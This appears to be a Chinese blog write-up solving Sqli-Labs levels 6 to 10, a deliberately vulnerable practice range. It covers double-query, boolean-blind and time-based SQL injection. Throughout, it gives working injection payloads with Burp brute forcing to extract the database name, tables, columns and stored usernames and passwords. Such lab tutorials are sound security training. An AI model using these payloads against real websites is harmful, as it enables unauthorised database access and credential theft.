Sqli-Labs靶场(6--10)题详解

目录

六、Less-6:GET - Double Injection - Double Quotes - string(GET - 双重注入 - 双引号 - 字符串)

七、Less-7:GET - Dump into outfile - string(GET - 导出文件 - 字符串)

八、Less-8:GET - Blind - Boolian Based - Single Quotes(GET - 盲注 - 基于布尔 - 单引号)

九、GET - Blind - Time based - Single Quotes(GET - 盲注 - 基于延时 - 单引号)

十、GET - Blind - Time based - Single Quotes(GET - 盲注 - 基于延时 - 双引号)


六、Less-6:GET - Double Injection - Double Quotes - string(GET - 双重注入 - 双引号 - 字符串)

此题解法与Less-5类似

只需判断注入点时使用?id=1"-- +

附上Less1-Less5题解

https://blog.csdn.net/weixin_46099095/article/details/123399846?spm=1001.2014.3001.5502https://blog.csdn.net/weixin_46099095/article/details/123399846?spm=1001.2014.3001.5502

七、Less-7:GET - Dump into outfile - string(GET - 导出文件 - 字符串)

此题暂时有点超纲,还不会做,等以后会做了再回来更新

八、Less-8:GET - Blind - Boolian Based - Single Quotes(GET - 盲注 - 基于布尔 - 单引号)

  • 判断注入点类型

输入:?id=1,?id=1 and 1=1,?id=1 and 1=2,页面均回显正常,排除整型注入

输入:?id=1',页面回显不正常

输入:?id=1'-- +,页面回显正常

得出结论->存在单引号字符串型注入漏洞

  • 布尔盲注判断库名长度

输入:?id=1' and length((select database()))>1-- +,页面回显正常

输入:?id=1' and length((select database()))>8-- +,页面回显不正常

输入:?id=1' and length((select database()))=1-- +,页面回显正常,

得出结论->此库名有8个字符串长度

  •  使用工具burp爆破得出库名

输入:?id=1' and ascii(substr(database(),1,1))>33-- +,页面回显正常

输入:?id=1' and ascii(substr(database(),1,1))=33-- +

使用burp抓包工具的集束炸弹对第一个'1'和'33'这两个位置进行爆破

 设置好两个位置的参数、并发请求数,开始爆破

 对照ascii码表

得出结论->此数据库名为'security'

  • 判断'security'数据库中有多少表

输入:?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>1-- +,页面回显正常

输入:?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>4-- +,页面回显不正常

输入:?id=1' and(select count(table_name) from information_schema.tables where table_schema='security')=4-- +,页面回显正常,

得出结论->'security'库中有4个表

  • 使用工具burp爆破得出表名

输入:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101-- +

修改substr(1,1)的第一个'1'可以依次爆破出第一个表的字符串,再修改limit 0,1的第一位数字可以依次爆破出所有表的字符串

得出结论->表名依次为:emils,referers,uagents,users

  • 判断'users'表中有多少列,使用工具burp爆破得出列名 

输入:?id=1' and (select count(column_name) from information_schema.columns where  table_schema=database() and table_name='users')=3-- +

得出结论->3列

 输入:?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=117--+

得出结论->列名依次为:id,username,password

  • 爆破username,passaword列中内容

输入:?id=1 and ascii(substr((select username from users limit 0,1),1,1))=x-- +

输入:?id=1 and ascii(substr((select password from users limit 0,1),1,1))=x-- +

使用同样的方式进行爆破最后得出结果

九、GET - Blind - Time based - Single Quotes(GET - 盲注 - 基于延时 - 单引号)

  • 判断注入点

不管是输入?id=1,?id=1',?id=1 and 1=2还是其他语句,均回显正常,考虑延时注入漏洞

输入:?id=1' and sleep(3)-- +,发现页面明显延迟3s才回显正常

得出结论->存在单引号字符串型延时注入漏洞

这道题的sql语句构造和第五题的方法几乎是一样,只是多了sleep()函数

  • 判断数据库长度

输入:?id=1' and if(length(database())>1,sleep(3),1)-- +,页面有明显延时

得出结论->数据库名长度为8

  • 爆破数据库名

输入:?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)-- +,页面有明显延时,依次爆破

得出结论->数据库名为'security'

  • 爆破'security'数据库内表名

输入:?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 , sleep(3), 1) -- +,页面有明显延时,依次爆破

得出结论->表名依次为emils,referers,uagents,users

  • 爆破'users'表内列名

输入:?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105 , sleep(3), 1) -- +,页面有明显延时,依次爆破

得出结论->表名依次为id,username,password

  • 爆破username,passaword列中内容 

输入:?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=x,sleep(3),1)-- +

输入:?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=x,sleep(3),1)-- +

使用同样的方式进行爆破最后得出结果

十、GET - Blind - Time based - Single Quotes(GET - 盲注 - 基于延时 - 双引号)

跟第九题没有太大区别,只需将'换成"

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值